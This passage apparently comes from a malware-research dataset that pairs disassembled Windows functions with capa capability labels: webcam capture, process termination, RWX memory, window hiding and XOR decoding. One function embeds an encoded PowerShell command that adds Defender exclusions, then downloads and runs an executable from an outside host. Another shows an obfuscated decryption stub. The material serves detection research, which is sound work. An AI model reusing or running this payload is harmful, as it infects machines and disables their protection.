joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1004a450
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x1004a483
push esi
call fcn.10058800
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x1004a47c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x1004a509
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x1004a4f2
mov eax, dword [esi + 8]
test eax, eax
je 0x1004a4a7
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x1004a4ee
cmp eax, 2
je 0x1004a4f2
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x1004a49a
cmp eax, 3
je 0x1004a4cd
cmp eax, 1
jne 0x1004a49a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x1004a49a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x1004a49a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.1004a530
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x1004a518
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.1004a530
add esp, 4
pop esi
ret

Function at 0x1004adb0
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x1004add1
mov ecx, dword [eax + 0x40]
test ecx, ecx
je 0x1004add1
mov eax, dword [eax + 0x44]
test eax, eax
je 0x1004add1
mov edx, dword [esp + 8]
push edx
push eax
call ecx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1004b220
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov ecx, dword [esp + 8]
test ecx, ecx
jne 0x1004b22b
xor eax, eax
ret
mov eax, dword [esp + 4]
push ebx
push esi
mov esi, dword [esp + 0x14]
cmp esi, 8
not eax
jb 0x1004b32e
push edi
mov edi, esi
shr edi, 3
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
mov ebx, eax
shr ebx, 8
mov eax, dword [edx*4 + 0x10094c28]
sub esi, 8
xor eax, ebx
inc ecx
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x10094c28]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x10094c28]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x10094c28]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x10094c28]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov edx, dword [edx*4 + 0x10094c28]
shr eax, 8
xor edx, eax
inc ecx
mov eax, edx
and eax, 0xff
xor eax, ebx
xor ebx, ebx
mov bl, byte [ecx + 1]
mov eax, dword [eax*4 + 0x10094c28]
shr edx, 8
xor eax, edx
inc ecx
mov edx, eax
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x10094c28]
xor eax, edx
inc ecx
dec edi
jne 0x1004b246
pop edi
test esi, esi
je 0x1004b350
mov edx, eax
xor ebx, ebx
mov bl, byte [ecx]
and edx, 0xff
xor edx, ebx
shr eax, 8
mov edx, dword [edx*4 + 0x10094c28]
xor eax, edx
inc ecx
dec esi
jne 0x1004b332
pop esi
pop ebx
not eax
ret
Function at 0x10066360
Capabilities:
Capture webcam image

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
mov esi, ecx
mov eax, dword [eax + 4]
cmp dword [esi + 0xec], 1
jne 0x10066403
test eax, eax
jbe 0x10066403
mov ecx, dword [esi + 0xbc]
test ecx, ecx
jle 0x10066403
mov ecx, dword [esi + 0x1c]
push edi
push 0
push eax
push 0x419
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov edi, eax
mov eax, dword [esi + 0xbc]
inc edi
test eax, eax
jne 0x100663ae
xor esi, esi
jmp 0x100663b4
mov esi, dword [esi + 0xb4]
add esi, 4
xor ebx, ebx
test edi, edi
jbe 0x100663df
push ebp
mov ebp, edi
add esi, 6
push esi
call fcn.10007fa0
add esi, eax
push esi
mov ebx, esi
call fcn.10007fa0
add esp, 8
add esi, eax
dec edi
dec ebp
jne 0x100663c0
pop ebp
test edi, edi
pop edi
jne 0x10066403
test ebx, ebx
je 0x10066403
mov edx, dword [esp + 0x10]
push 0x4e
add edx, 0x10
push ebx
push edx
call fcn.1006dbc0
add esp, 0xc
mov eax, 1
pop esi
pop ebx
ret 0xc
pop esi
xor eax, eax
pop ebx
ret 0xc

Function at 0x10066520
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x1006663d
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x1006663d
mov eax, dword [esi + 0x3c]
push eax
call fcn.1007eb93
mov esi, eax
test esi, esi
je 0x1006663d
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x1006663d
mov ecx, esi
call fcn.100664b0
cmp edi, eax
jge 0x1006663d
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x100665c3
mov dword [esp + 0x34], 1
jmp 0x1006661e
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x1006663d
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.10065a10
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc
Function at 0x1006ab40
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push 0xffffffffffffffff
push 0x1008baab
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x130
push esi
mov esi, dword [esp + 0x144]
push esi
lea ecx, [esp + 8]
mov dword [esp + 0xc], 0
call fcn.1007d1fd
mov eax, dword [esp + 0x148]
test eax, eax
jne 0x1006ac12
mov eax, dword [esp + 4]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x1006abaa
lea ecx, [esp + 4]
mov dword [esp + 0x13c], 0xffffffff
call fcn.1007d18f
xor eax, eax
jmp 0x1006ac62
push esi
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
test eax, eax
je 0x1006abc5
lea ecx, [esp + 8]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
jmp 0x1006ac16
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea edx, [esp + 0xc]
mov esi, eax
push edx
push esi
mov dword [esp + 0x14], 0x128
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x1006ac16
mov ecx, dword [esp + 4]
lea eax, [esp + 0x30]
push eax
push ecx
call fcn.1006d333
add esp, 8
test eax, eax
je 0x1006ac0e
lea edx, [esp + 0xc]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x1006abe7
jmp 0x1006ac16
mov eax, dword [esp + 0x14]
mov dword [esp + 8], eax
mov eax, dword [esp + 8]
test eax, eax
jne 0x1006ac36
lea ecx, [esp + 4]
mov dword [esp + 0x13c], 0xffffffff
call fcn.1007d18f
xor eax, eax
jmp 0x1006ac62
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
lea ecx, [esp + 4]
mov esi, eax
mov dword [esp + 0x13c], 0xffffffff
call fcn.1007d18f
mov eax, esi
mov ecx, dword [esp + 0x134]
pop esi
mov dword fs:[0], ecx
add esp, 0x13c
ret 8

Function at 0x1007f536
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x1007f56e
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.1007d5ea
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.1007d5c2
jmp 0x1007f57a
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x10080c29
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x10080c6b
call fcn.100866f7
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x10080c6b
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x10080c62
xor eax, eax
jmp 0x10080c73
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.10080c79
pop edi
pop esi
pop ebx
ret 4
Function at 0x409f72
Capabilities:
Move file

Disassembly:
mov eax, 0x40bca7
call fcn.0040a890
sub esp, 0x14
push ebx
push esi
push edi
push ecx
mov eax, esp
xor ebx, ebx
mov dword [ebp - 0x20], esp
push eax
mov dword [ebp - 0x10], ebx
call fcn.0040129d
lea eax, [ebp - 0x1c]
mov dword [ebp - 4], ebx
push eax
call fcn.00401db0
mov dword [ebp - 4], 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 1
lea eax, [ebp - 0x1c]
pop edi
push edi
push ecx
mov ecx, esp
mov dword [ebp - 0x20], esp
push eax
call fcn.0040659c
lea eax, [ebp - 0x14]
mov byte [ebp - 4], 2
push eax
call fcn.0040a684
mov byte [ebp - 4], 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea eax, [ebp - 0x14]
mov esi, 0x40faa4
push eax
push esi
call fcn.00408c13
test al, al
je 0x40a019
mov ecx, dword [ebp + 8]
push esi
call fcn.00406638
mov dword [ebp - 0x10], edi
jmp 0x40a0d2
push ecx
lea eax, [ebp - 0x14]
mov ecx, esp
mov dword [ebp - 0x20], esp
push eax
call fcn.0040659c
mov byte [ebp - 4], 4
call fcn.00401228
cmp eax, ebx
jne 0x40a046
mov ecx, dword [ebp + 8]
push esi
call fcn.00406638
mov dword [ebp - 0x10], edi
jmp 0x40a0d2
lea eax, [ebp - 0x14]
lea ecx, [ebp - 0x18]
push eax
call fcn.0040659c
mov byte [ebp - 4], 6
nop
nop
nop
nop
nop
nop
push 0x40f964
push 0x40f960
lea ecx, [ebp - 0x18]
call fcn.00406da0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
lea ecx, [ebp - 0x18]
call fcn.004062b4
push eax
lea ecx, [ebp - 0x14]
call fcn.004062b4
push eax
call dword [sym.imp.MSVCRT.dll_rename]
pop ecx
test eax, eax
pop ecx
jne 0x40a0b7
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x18]
push eax
call fcn.0040659c
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x10], edi
mov byte [ebp - 4], 4
call fcn.00406565
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 2
call fcn.00406565
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], bl
call fcn.00406565
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret 4

Function at 0x402000
Capabilities:
Encode data using xor

Disassembly:
call dword [sym.imp.kernel32.dll_GetACP]
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
jmp loc.00409000
Function at 0x4afce4
Capabilities:
Allocate or change rwx memory
Get system information on windows

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffb4
mov dword [esp], eax
lea esi, [esp + 0x30]
lea eax, [esp + 0xc]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edi, dword [esp]
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4afdaf
jmp 0x4afda3
cmp dword [esi + 0x10], 0x1000
jne 0x4afd8f
test byte [esi + 0x15], 1
jne 0x4afd8f
mov byte [esp + 4], 0
mov ebp, dword [esi + 0x14]
cmp ebp, 1
je 0x4afd40
cmp ebp, 2
je 0x4afd40
cmp ebp, 0x10
je 0x4afd40
cmp ebp, 0x20
jne 0x4afd5c
lea eax, [esp + 8]
push eax
push 0x40
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
test eax, eax
je 0x4afd5c
mov byte [esp + 4], 1
xor ebx, ebx
jmp 0x4afd6d
mov eax, dword [esi]
add eax, ebx
call fcn.004afcdc
add ebx, dword [esp + 0x10]
cmp ebx, dword [esi + 0xc]
jb 0x4afd60
cmp byte [esp + 4], 0
je 0x4afd8f
lea eax, [esp + 8]
push eax
mov eax, dword [esp + 0xc]
push eax
mov eax, dword [esi + 0xc]
push eax
mov eax, dword [esi]
push eax
call sub.kernel32.dll_VirtualProtect
mov eax, dword [esi]
add eax, dword [esi + 0xc]
mov edi, eax
push 0x1c
push esi
push edi
call sub.kernel32.dll_VirtualQuery
test eax, eax
je 0x4afdaf
mov eax, dword [esi + 4]
cmp eax, dword [esp]
je 0x4afd15
add esp, 0x4c
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x401000
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0
nop
mov eax, 0
push eax
mov eax, 0
push eax
mov eax, str._EncodedCommand__PAAjAGkAZAB1ACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA1ADsAPAAjAHAAdgBlACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAcABpAHUAIwAACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAYQB0AHQAIwAACAALQBGAG8AcgBjAGUAIAA8ACMAaQB4AGEAIwAADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwB3AG8AcgBrAHMAZQByAHYAZQByAC4AZABkAG4AcwAuAG4AZQB0AC8AQwBsAGkAZQBuAHQAdAAuAGUAeABlACcALAAgADwAIwBrAGgAawAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHUAcABhACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAG4AYgB4ACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMAbABpAGUAbgB0AHQALgBlAHgAZQAnACkAKQA8ACMAZgBkAHQAIwAADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdQB2AHUAIwAACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHMAcQBiACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMAbABpAGUAbgB0AHQALgBlAHgAZQAnACkAPAAjAGwAbQB3ACMAPgA_
push eax
mov eax, str.powershell
push eax
mov eax, str.open
push eax
mov eax, 0
push eax
call sub.shell32.dll_ShellExecuteA
mov eax, 0
leave
ret
Function at 0x10002c54
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], esp
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x10002c97
push 0x2b
push 0x403de00
push 6
call fcn.1000cac1
add esp, 0xc
mov dword [ebp - 0x18], eax
fild dword [ebp - 0x18]
fstp qword [ebp - 0x18]
fld qword [ebp - 0x18]
fadd qword [0x1001f291]
fstp qword [ebp - 0x20]
fld qword [ebp - 0x20]
call fcn.100012bb
mov dword [ebp - 4], eax
push 0x80000301
push 0
push dword [ebp - 4]
push 1
mov ebx, 0x184
call fcn.1000dba0
add esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x10002cea
push ebx
call fcn.1000cad3
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x10002d20
push 0xa8
push 0x403de00
push 6
call fcn.1000cac1
add esp, 0xc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x10002d37
mov eax, 0x1001f288
jmp 0x10002d58
mov eax, dword [ebp - 8]
test eax, eax
je 0x10002d53
push eax
mov ebx, eax
call fcn.10001905
inc eax
push eax
call fcn.1000cacd
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x10002d58
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x10002d69
push ebx
call fcn.1000cad3
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4

Function at 0x10002e3d
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
cmp dword [ebp + 0xc], 0
jne 0x10002e8b
mov dword [ebp - 4], esp
push 0
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_ShowWindow]
nop
nop
cmp dword [ebp - 4], esp
je 0x10002e81
push 0x43
push 0x403e09a
push 6
call fcn.1000cac1
add esp, 0xc
jmp 0x10002f61
push dword [ebp + 8]
call fcn.10002f67
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 1
jne 0x10002edb
mov dword [ebp - 4], esp
push 7
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_ShowWindow]
nop
nop
cmp dword [ebp - 4], esp
je 0x10002ed1
push 0xbd
push 0x403e09a
push 6
call fcn.1000cac1
add esp, 0xc
jmp 0x10002f61
push dword [ebp + 8]
call fcn.10002fa7
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 1
jne 0x10002f2b
mov dword [ebp - 4], esp
push 5
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_ShowWindow]
nop
nop
cmp dword [ebp - 4], esp
je 0x10002f21
push 0x137
push 0x403e09a
push 6
call fcn.1000cac1
add esp, 0xc
jmp 0x10002f61
mov dword [ebp - 4], esp
push 4
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_ShowWindow]
nop
nop
cmp dword [ebp - 4], esp
je 0x10002f5c
push 0x16f
push 0x403e09a
push 6
call fcn.1000cac1
add esp, 0xc
jmp 0x10002f61
mov esp, ebp
pop ebp
ret 8
Function at 0x1000521d
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
push 0x80000301
push 0
push 0x2000
push 0x80000301
push 0
push 0x1000
push 2
mov ebx, 0xc8
call fcn.1000de40
add esp, 0x1c
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push 0x40
push dword [ebp - 8]
push dword [ebp + 0xc]
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x10005291
push 0x39
push 0x4012ab7
push 6
call fcn.1000cac1
add esp, 0xc
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10005307
push 0x80000301
push 0
push 0x2000
push 0x80000301
push 0
push 0x1000
push 2
mov ebx, 0xc8
call fcn.1000de40
add esp, 0x1c
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push 0x40
push dword [ebp - 8]
push dword [ebp + 0xc]
push 0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x10005304
push 0xda
push 0x4012ab7
push 6
call fcn.1000cac1
add esp, 0xc
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x1000530f
mov esp, ebp
pop ebp
ret 8

Function at 0x1000c510
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push dword [ebp + 8]
call fcn.1000c671
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], esp
push 0x40
push 0x1000
push dword [ebp - 4]
push 0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x1000c56d
push 0x4d
push 0x403df2e
push 6
call fcn.1000cac1
add esp, 0xc
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
je 0x1000c57f
add eax, 8
push eax
xor eax, eax
call dword [sym.imp.KERNEL32.dll_SetHandleCount]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x1000c5a6
push 0x9c
push 0x403df2e
push 6
call fcn.1000cac1
add esp, 0xc
mov dword [ebp - 0x10], eax
push dword [ebp - 4]
push dword [ebp - 0x10]
push dword [ebp - 8]
call fcn.1000c6e7
mov eax, dword [ebp - 8]
jmp 0x1000c5bf
mov esp, ebp
pop ebp
ret 4
Function at 0x1000d7d0
Capabilities:
Accept command line arguments

Disassembly:
sub esp, 0x20
push ebx
push esi
push edi
lea ecx, [esp + 0x18]
call fcn.1000ecf0
lea eax, [esp + 0x10]
mov dword [esp + 0x18], 0x1001a1b4
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov edi, eax
test edi, edi
mov dword [esp + 0x14], edi
je 0x1000d892
mov ecx, dword [esp + 0x10]
mov eax, 1
cmp ecx, eax
mov dword [esp + 0xc], eax
jle 0x1000d88b
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea ebx, [edi + 4]
mov ecx, dword [ebx]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push ecx
push 0
push 0x3a8
call ebp
mov esi, eax
test esi, esi
jle 0x1000d876
lea edx, [esi + 1]
push edx
call fcn.1000ce00
mov edi, eax
add esp, 4
test edi, edi
je 0x1000d868
mov eax, dword [ebx]
push 0
push 0
push esi
push edi
push 0xffffffffffffffff
push eax
push 0
push 0x3a8
call ebp
mov byte [eax + edi], 0
push edi
lea ecx, [esp + 0x20]
call fcn.1000ef80
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
inc eax
add ebx, 4
cmp eax, ecx
mov dword [esp + 0x10], eax
jl 0x1000d822
pop ebp
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ebx, dword [esp + 0x34]
mov eax, dword [ebx]
test eax, eax
je 0x1000d8a5
push eax
call fcn.1000f140
add esp, 4
mov edi, dword [esp + 0x28]
shr edi, 2
shl edi, 2
lea ecx, [edi + 8]
push ecx
call fcn.1000ce00
mov dword [eax], 1
mov edx, dword [esp + 0x2c]
shr edx, 2
mov dword [eax + 4], edx
mov esi, dword [esp + 0x2c]
mov ecx, dword [esp + 0x24]
add esp, 4
neg esi
sbb esi, esi
and esi, ecx
mov ecx, edi
mov edx, ecx
lea edi, [eax + 8]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
mov dword [ebx], eax
mov dword [esp + 0x18], 0x1001a1b0
call fcn.1000eef0
pop edi
pop esi
pop ebx
add esp, 0x20
ret

Function at 0x1000dd70
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
mov eax, dword [esp + 8]
cmp edx, 1
jle 0x1000dd8e
push esi
lea ecx, [esp + 0x18]
dec edx
mov esi, dword [ecx]
add ecx, 0xc
xor eax, esi
dec edx
jne 0x1000dd83
pop esi
ret
Function at 0x404837
Capabilities:
Get disk information

Disassembly:
mov eax, 0x429b10
call fcn.00428650
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x10], ecx
call fcn.00401f1f
mov edi, dword [sym.imp.kernel32.dll_GetLogicalDriveStringsW]
push 0
push 0
call edi
mov ebx, eax
test ebx, ebx
mov dword [ebp - 0x18], ebx
je 0x40490d
mov eax, SysReAllocString
cmp ebx, eax
ja 0x404873
mov eax, ebx
add eax, eax
push eax
call fcn.00405733
mov esi, eax
pop ecx
mov dword [ebp - 0x20], esi
and dword [ebp - 4], 0
push esi
push ebx
call edi
mov ebx, eax
xor edi, edi
cmp ebx, edi
mov dword [ebp - 0x14], ebx
je 0x404906
cmp ebx, dword [ebp - 0x18]
ja 0x404906
lea ecx, [ebp - 0x2c]
call fcn.00402679
test ebx, ebx
mov byte [ebp - 4], 1
mov dword [ebp - 0x18], edi
jbe 0x4048ee
push 2
xor eax, eax
pop ebx
cmp word [esi + ebx - 2], 0
jne 0x4048e3
add eax, esi
lea ecx, [ebp - 0x2c]
push eax
call fcn.00405733
mov ecx, dword [ebp - 0x10]
lea eax, [edi + 1]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x1c], ebx
call fcn.00405733
mov ecx, dword [ebp - 0x10]
lea eax, [ebp - 0x2c]
push eax
call fcn.00401d25
mov eax, ebx
inc edi
inc ebx
inc ebx
cmp edi, dword [ebp - 0x14]
jb 0x4048b1
mov ebx, dword [ebp - 0x14]
push dword [ebp - 0x2c]
call fcn.00402153
push esi
call fcn.00402153
cmp dword [ebp - 0x18], ebx
pop ecx
pop ecx
sete al
jmp 0x40490f
push esi
call fcn.00402153
pop ecx
xor al, al
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x405733
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x405742
pop dword [ebp - 0x30]
mov eax, 0xa3549ba7
add eax, 0x5cebbb9b
sub dword [ebp - 0x30], eax
push 0x40
push 0x1000
push 0x39ba2
push 0
mov eax, 0x18a73ad5
sub eax, 0x18647aa9
add eax, dword [ebp - 0x30]
call dword [eax]
mov ecx, 0x4a167066
sub ecx, 0x4a162699
xor esi, esi
add esi, eax
mov edx, 0x43b800
add edx, dword [ebp - 0x30]
mov ebx, 0xf12dc043
mov dword [ebp - 0x1c], 0xc3d81d0f
mov edi, dword [edx]
xor dword [ebp - 4], 0x87755581
sub edi, ebx
mov dword [esi], edi
sub dword [ebp - 0x2c], 0x2fa406e1
add esi, 0x64cbe88b
sub esi, 0x64cbe887
add edx, 0xc7e3b669
sub edx, 0xc7e3b665
loop 0x405797
add eax, 0x80df6c92
add eax, 0x7f21ad75
mov ebx, eax
add eax, 0xe713f5c1
